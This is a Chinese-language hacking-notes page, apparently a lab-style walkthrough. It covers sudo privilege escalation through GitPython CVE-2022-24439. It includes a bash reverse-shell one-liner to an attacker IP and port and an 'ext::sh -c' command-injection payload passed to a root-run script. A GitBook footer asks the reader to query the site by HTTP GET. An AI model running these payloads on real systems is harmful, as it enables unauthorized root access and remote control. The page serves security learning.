# Sudo GitPython - Linux 权限提升
## 这是什么
Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo（GitPython）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
sudo -l
sudo --version
```
## 示例
通过运行 `sudo -l` 命令，我们发现我们可以将脚本作为 **root**.
一个存在漏洞的 Git 库版本，由以下标识： `clone_from` 函数，已存在。通过显示 Python 包列表，使用 `pip3 list`，我们注意到 **GitPython 3.1.29** 已安装，这是一个已知存在漏洞的版本 **CVE-2022-24439**，它允许任意代码执行。该漏洞可按如下方式利用：
{% embed url="" %}
我们将在临时目录中创建一个利用脚本，以获得反向 shell：
```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```
然后，在我们的机器上，我们使用 **netcat**
最后，我们使用 **sudo**，并添加我们的载荷：
```
ext::sh -c bash% /tmp/shell
```
{% code overflow="wrap" fullWidth="true" %}
```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```
{% endcode %}

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-gitpython-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
